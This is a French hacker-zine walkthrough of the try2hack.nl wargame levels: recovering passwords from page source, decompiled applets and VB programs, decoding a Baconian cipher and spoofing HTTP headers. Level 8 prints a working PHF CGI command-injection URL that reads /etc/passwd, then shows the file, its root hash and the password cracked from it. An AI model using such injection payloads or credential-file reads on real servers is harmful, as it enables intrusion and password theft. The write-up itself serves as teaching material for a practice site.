.-----------[MinDKinD100\#100.03]------- ----------. [M]ind[K]ind #100
| ; | - 23/08/03
| . try2hack.nl | - [FunkY]
| aka '------------- ----.
| try2hack.nll |
| _____ ; |
'--------------------- ------[again, again n again.]---- -------- ----'
Try2hack.nl Walkthrough by funky@mindkind.org
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 1: Ma grand-mere peut hacker aussi.
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Un view source suffit:
-=[ level1.html ]=-
-=[ end ]=-
AbCdE ca marche pas non....abcde non plus et ABCDE non plus, et disney ca
suck. Y'a une ligne que j'avais pas vue la premiere fois qui est:
--http://www.try2hack.nl/levels/JavaScript--
PASSWORD = "try2hackrawks";
CORRECTSITE = "level4-kdnvxs.xhtml";
WRONGSITE = "http://www.disney.com";
--------------------------------------------
Ah...la ca marche...yeah!
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 4: applets reverse engineering
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ya juste une ligne de cool dans cette page la qui est:
meme pas besoin de wget pour la grabber:
www.try2hack.nl/levels/PasswdLevel4.class
Hex editer la .class ca ma rien donner d'interessant a part l'idee de me rouler
un ptit bat avant de continuer ce challange la... Ce qui ma donner l'idee de
googler: "java decompiler" qui a ensuite donne ca:
http://download.com.com/3002-2417-10146169.html?tag=dir
C'est finalement JAD avec un front-end plutot amical t-k, je sais pas si c'est
moi, mais le java c'est laite apres un spliff... Y'a encore une fois juste une
ligne qui est relativement cool dans le script:
infile = new String("level4");
-=[ http://www.try2hack.nl/levels/level4 ]=-
level5-fdvbdf.xhtml
appletking
pieceofcake
-=[ gah ]=-
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 5: VB 3.0 Reverse Engineering
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Download: http://www.try2hack.nl/levels/level5.zip
contient: level5.exe -> leet vb3 code
level5.txt -> une des raisons majeur qui fait que VB ca suce.
Yup, VB3 store les strings en clear text. Si vous hexediter level5.exe comme
les leets que vous etes ca va donner quelque chose d'interessant qui ressemble
a ca:
-----------ClearText du .EXE interessant---------
http://www.try2hack.nl/levels/level6-ksghvb.xhtml
txtUsername=AlmostAHacker
txtPassword=ZqrE01A2d
-------------------------------------------------
Le URL vous donne: Not Level 6, Search Harder
Donc...tristement il va falloir le Reverse Engineerer pour vrai...dommage
mais bon. J'y suis aller dans le simple, j'aurais pu me servir de softice,
mais il est tard et je suis frost, donc jme suis dit que le kit de DoDi
ferrait l'affaire, pis sinon ben que j'allais me coucher pis fuck that.
DoDi's VB tool box: google -> vbdis26e.zip
Une fois reversed ca donne genre 4-5 files approximativement:
---------LEVEL5.MAK-------------
LEVEL5.FRM
main.txt
Module1.BAS
Title="LEVEL5"
ExeName="level5.exe"
--------------------------------
-------Module1.BAS--------------
' Module1
Option Explicit
Const c000A = " txtUsername=AlmostAHacker "
Const c000E = " txtPassword=ZqrE01A2d "
--------------------------------
-----MAIN.TXT--------------------
' main.txt - global definitions
Global Const gc0006 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEF"
"GHIJKLMNOPQRSTUVWXYZ.,:;-*+=~|&!_$#@()[]{}<\/>"
Global Const gc000A = "http://www.try2hack.nl/levels/level6-ksghvb.xhtml"
---------------------------------
------LEVEL5.BAS----------------
' LEVEL5.FRM
Option Explicit
Sub cmdLogin_Click ()
If edtUsername = Mid(gc0006, 56, 1) & Mid(gc0006, 28, 1) &
Mid(gc0006, 35, 1) & Mid(gc0006, 3, 1) &
Mid(gc0006, 44, 1) & Mid(gc0006, 11, 1) &
Mid(gc0006, 13, 1) & Mid(gc0006, 21, 1) Then
If edtPassword = Mid(gc0006, 45, 1) & Mid(gc0006, 48, 1) &
Mid(gc0006, 25, 1) & Mid(gc0006, 32, 1) &
Mid(gc0006, 15, 1) & Mid(gc0006, 40, 1) &
Mid(gc0006, 25, 1) & Mid(gc0006, 14, 1) &
Mid(gc0006, 19, 1) Then
MsgBox "Level 6 can be found at: " & Left$(gc000A, 37) & Mid(gc0006, 21, 1) &
Mid(gc0006, 14, 1) & Mid(gc0006, 29, 1) &
Mid(gc0006, 32, 1) & Mid(gc0006, 12, 1) &
Mid(gc0006, 14, 1) & Mid(gc000A, 44, 6),
0, "Horray!"
End
End If
End If
MsgBox "Invalid username and/or password!", 0, "ERROR!"
End Sub
Sub Form_Load ()
Me.Move (Screen.Width - Me.Width) / 2, (Screen.Height - Me.Height) / 2
End Sub
---------------------------------
La partie interessante est evidement la fonction cmdLogin_Click().
gc0006 est dans MAIN.TXT, et pour builder le username/pass/url
on a juste a faire de la substitution comme ca genre:
Mid(gc006, 56, 1) = la string gc0006 position 56 (1 char) = T
pos 28 = r
pos 35 = y
...get it? ok, donc...
Username: Try2Hack
Password: ILoveDodi (yup, le dodi de notre toolbox)
URL : http://www.try2hack.nl/levels/level6-kdsvbd.xhtml
(le code fait juste changer les 6 lettres..yeah)
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 6: Une ligne pour celebre ca :S\______
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Vous avez besoin de: -> level6.zip (qui contient encore un VB proggy, 6.0 cette fois)
-> Un packet sniffer (pourquoi pas la bin win32 de snort?)
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
La partie la plus interessante du snifF:
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
08/20-20:23:43.136307 0:0:0:0:0:0 -> 0:5:5D:FF:67:BE type:0x800 len:0xB6
0.0.0.0:3118 -> 62.192.127.200:80 TCP TTL:128 TOS:0x0 ID:32340 IpLen:20 DgmLen:168 DF
***AP*** Seq: 0x9551624 Ack: 0x705729F8 Win: 0x2DA0 TcpLen: 20
47 45 54 20 2F 6C 65 76 65 6C 73 2F 6C 65 76 65 GET /levels/leve
6C 36 2E 64 61 74 61 20 48 54 54 50 2F 31 2E 31 l6.data HTTP/1.1
0D 0A 48 6F 73 74 3A 20 77 77 77 2E 74 72 79 32 ..Host: www.try2
68 61 63 6B 2E 6E 6C 0D 0A 43 6F 6E 6E 65 63 74 hack.nl..Connect
69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A 55 73 65 72 ion: close..User
2D 41 67 65 6E 74 3A 20 54 72 79 32 48 61 63 6B -Agent: Try2Hack
20 6C 65 76 65 6C 20 36 20 63 6C 69 65 6E 74 0D level 6 client.
0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 0D 0A .Accept: */*....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Donc, le programme a un certain moment fait un: GET /levels/level6.data
pourquoi? let's see:
------------[Level6.Data]-------------
(ENCRYPTION TYPE)
B*C*N**N
(USERNAME)
aaabb aaaaa aaaab abbab ababb aaaab
(PASSWORD)
aabaa abbaa aaaba baaaa babba abbba baaba abaaa abbab abbaa baaaa aaaaa babaa abaab baaab
(PAGE)
babab aabab abaab abbab aabbb aaaba
---------------------------------------
En cherchant un peu, vous auriez evidement trouver que c'est une encryption baconian
(uniquement le premier niveau, les dudes de try2hack, on ete genereux) Ce qui explique
B*C*N**N, je croyais que c'etais une formule mathematique genre B(C(N^N)) au debut mais
bon, il suffit de faire une substitution selon la table suivante:
A = aaaaa E = aabaa I/J= abaaa N = abbaa R = baaaa W = babaa
B = aaaab F = aabab K = abaab O = abbab S = baaab X = babab
C = aaaba G = aabba L = ababa P = abbba T = baaba Y = babba
D = aaabb H = aabbb M = ababb Q = abbbb U/V= baabb Z = babbb
Ce qui donne en bout de ligne:
Username: DABOMB
Password: ENCRYPTIONRAWKS
level 7 : XFKOHC (http://www.try2hack.nl/levels/level7-xfkohc.php)
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 7: MSIE 7.66 sous linux de chez m$
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Contient 3 test:
Test #1: Browser check: Sorry, but you must use Microsoft Internet Explorer 7.66
Test #2: OS check: Must be using Unix or Linux
Test #3: You must come from www.microsoft.com/ms.htm
--------------RFC 1945--------------------------------------------------------------
10.15 User-Agent
Le champ d'en-tête User-Agent (requête) contient des informations sur l'utilisateur
émetteur de la requête. Cette information est utilisée à des fins statistiques, pour
tracer des violations de protocole, et à des fins de reconnaissance automatique
d'utilisateur permettant de formater la réponse de la manière la plus adaptée.
L'usage de ce champ, bien que non indispensable, est cependant conseillé.
Le champ User-Agent peut mentionner plusieurs noms de produits (Section 3.7)
ainsi que des commentaires identifiant le programme ou des sous-composants de ce
programme dans la mesure où ceux-ci peuvent être significatifs pour le serveur.
Par convention, ces informations sont listées par ordre d'importance.
User-Agent = "User-Agent" ":" 1*( produit | commentaires )
Exemple:
User-Agent: CERN-LineMode/2.15 libwww/2.17b3
10.13 Referer
Le champ d'en-tête Referer (requête) permet au client d'indiquer, à l'usage du
serveur, l'adresse (URI) de la ressource dans laquelle l'URI-visée a été trouvée.
Ceci permet au serveur de générer et entretenir des listes de "rétro-liens" destinées
à renseigner les clients futurs sur des "sites intéressants", ou à but d'archivage
et d'analyse, optimisation de cache, etc. Il permet aussi l'analyse de liens obsolètes
ou de type incorrect à but de maintenance. Le champ Referer ne doit pas être inscrit
si la source de l'URI-visée provient d'une entité n'ayant pas d'URI propre, comme
l'entrée de l'adresse via un clavier.
Referer = "Referer" ":" ( URI_absolue | URI_relative )
Exemple:
Referer: http://www.w3.org/hypertext/DataSources/Overview.phpl
------------------------------------------------------------------------------------
telnet www.try2hack.nl 80
Parter un session log (pour avoir le output du GET) et tapper ca:
GET http://www.try2hack.nl/levels/level7-XFKOHC.php HTTP/1.0
User-Agent: MSIE 7.66/LINUX
Referer: http://www.microsoft.com/ms.htm
Le logged session contient le URL: level8-balnrg.xhtml
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Level 8: Old skewl PHF
-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Je dois avouer que ce niveau la ma rendu nostalgique un peu, la faille
etait tres populaire dans les annee 90. Le fbi, c'est d'ailleurs fait 'owner'
grace a ce truc la...HAHAHAHA.
Pour l'exploiter: http://www.try2hack.nl/cgi-bin/phf?Qalias=/bin/cat%20/etc/passwd
ce qui vous donne:
-------------meme pas shadower...c'est votre jour de chance------------------
root:i1xC4sSrfP/oY:0:0::0:0:Charlie &:/root:/usr/local/bin/bash
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5::0:0:System Operator:/:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67::0:0:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin
-------------------------------------------------------------------------------
Apres ~1 minute intensive de john the ripper:
arsanik (root)
guesses: 1 time: 0:00:01:24 c/s: 138343 trying: Setusck - arsanik
Voila...end of challange, vous etes un leet h4x0r....